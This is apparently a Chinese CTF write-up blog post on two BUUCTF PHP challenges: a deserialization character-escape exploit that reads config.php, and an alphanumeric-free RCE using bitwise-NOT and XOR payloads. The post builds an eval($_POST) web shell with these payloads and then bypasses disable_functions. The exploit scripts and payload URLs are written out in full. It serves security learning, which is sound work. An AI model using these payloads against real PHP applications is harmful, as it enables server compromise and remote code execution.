一周CTF(三)

ababababababababababababababa

BUU

[0CTF 2016]piapiapia

首先用dirsearch扫下目录,不过buu的题目一扫就是429,所以直接查wp找到泄露的文件。

如果要自己扫的话,可以调低线程,同时设置扫描的延时:

python dirsearch.py -u http://403a7d8f-39ff-43e0-9fab-38981c17289f.node4.buuoj.cn:81/  -e php,htm,js,bak,zip,tgz,txt -s 1 -t 5 -i 200

找到泄露的源码www.zip

审计源码,在config.php处有$flag,不过已经删除了。profile.php中有unserializefile_get_contents,一看就是关键点。

目的是通过file_get_contents去读config.php获得flag,file_get_contents所读取的文件名的获取方式:$profile['photo']<-unserialize($profile)<-$user->show_profile($username) // 查询表<-$user->update_profile($username, serialize($profile)) // 更新表

$profile的获取方式

$user->update_profile对插入数据的检查方式:

文件名会被md5不可控,但是nickname没有太多的限制。关键点:对输入的check在其序列化之后,且方式为字符替换。这就是之前的反序列化字符逃逸。

where被替换为hacker字符串长度变长,所以可以在nickname中构造photo属性,再把其“挤”出来。对于strlen($_POST['nickname']) > 10长度限制,可以通过数组绕过,不过这样$profile['nickname']会变成一个数组。

<?php
$nick[] = 'skye';
$profile['nickname'] = $nick;
$profile['photo'] = '';
$s = serialize($profile);
echo $s."\n";       # a:2:{s:8:"nickname";a:1:{i:0;s:4:"skye";}s:5:"photo";s:0:"";}
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$s = preg_replace($safe, 'hacker', $s);

$a = unserialize($s);
print_r($a);
//Array
//(
//    [nickname] => Array
//    (
//        [0] => 
//        )
//
//    [photo] => 
//)

为了闭合nickname的数组类型,构造所要逃逸的字符串:";}s:5:"photo";s:10:"config.php";},其长度为34,所以前面要加上34个where

<?php
$nick[] = 'where...where";}s:5:"photo";s:10:"config.php";}';		# 34个where
$profile['nickname'] = $nick;
$profile['photo'] = '';
$s = serialize($profile);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$s = preg_replace($safe, 'hacker', $s);

$a = unserialize($s);
print_r($a);

抓包修改

profile.php得到base64后的config.php,get flag。

[极客大挑战 2019]RCE ME

关键词:无数字字母RCE。参考链接:无数字字母rce总结

虽然这道题有一个长度的限制,但也差不多。

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

rce的构造有两种,一个取反、一个异或。先说取反,本质上都是用PHP可变函数的特性。

取反

$a = urlencode(~('eval($_POST[sky])'));
$b = urlencode(~('assert'));
echo $a."\n";
echo $b;
// payload: ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%94%86%A2%D6);

异或:

valid = "!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = 'phpinfo'
tmp1, tmp2 = '', ''

for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:", tmp1)
print("tmp2为:", tmp2)

# payload: ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

虽然不是很难,但还是有几个点想了很久。首先是取反的构造,这里我可以理解它最后是在eval中执行的是('assert')('eval($_POST[sky])');这样一个字符串,但没太理解第一个assert的括号是什么作用,为什么~%9E%8C%8C%9A%8D%8B(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%94%86%A2%D6);这样的payload是无效的。还有,再次提醒,eval不是函数,所以这里不能作为可变函数调用。

在异或的构造方式中学到了,${}是一个变量解析的语法,用于创建动态变量名。这个语法的一般形式是${expression},其中expression是返回字符串的任何合法 PHP 表达式。一个简单的例子:

$a = 'phpinfo';
${'a'}();

所以payload中的意思是:$_GET[_]($_GET[___)

回到题目,拿到shell之后,由于disable_functions的限制不能直接读到flag,要用到的方法是LD_preload,这个之后详细了解一下,就先记下用蚁剑的解法。

右键shell,在插件市场中下载绕过disable_functions插件

加载插件

选择PHP7_GC_UAF

点击开始之后,执行/readflag

总结

回家真好~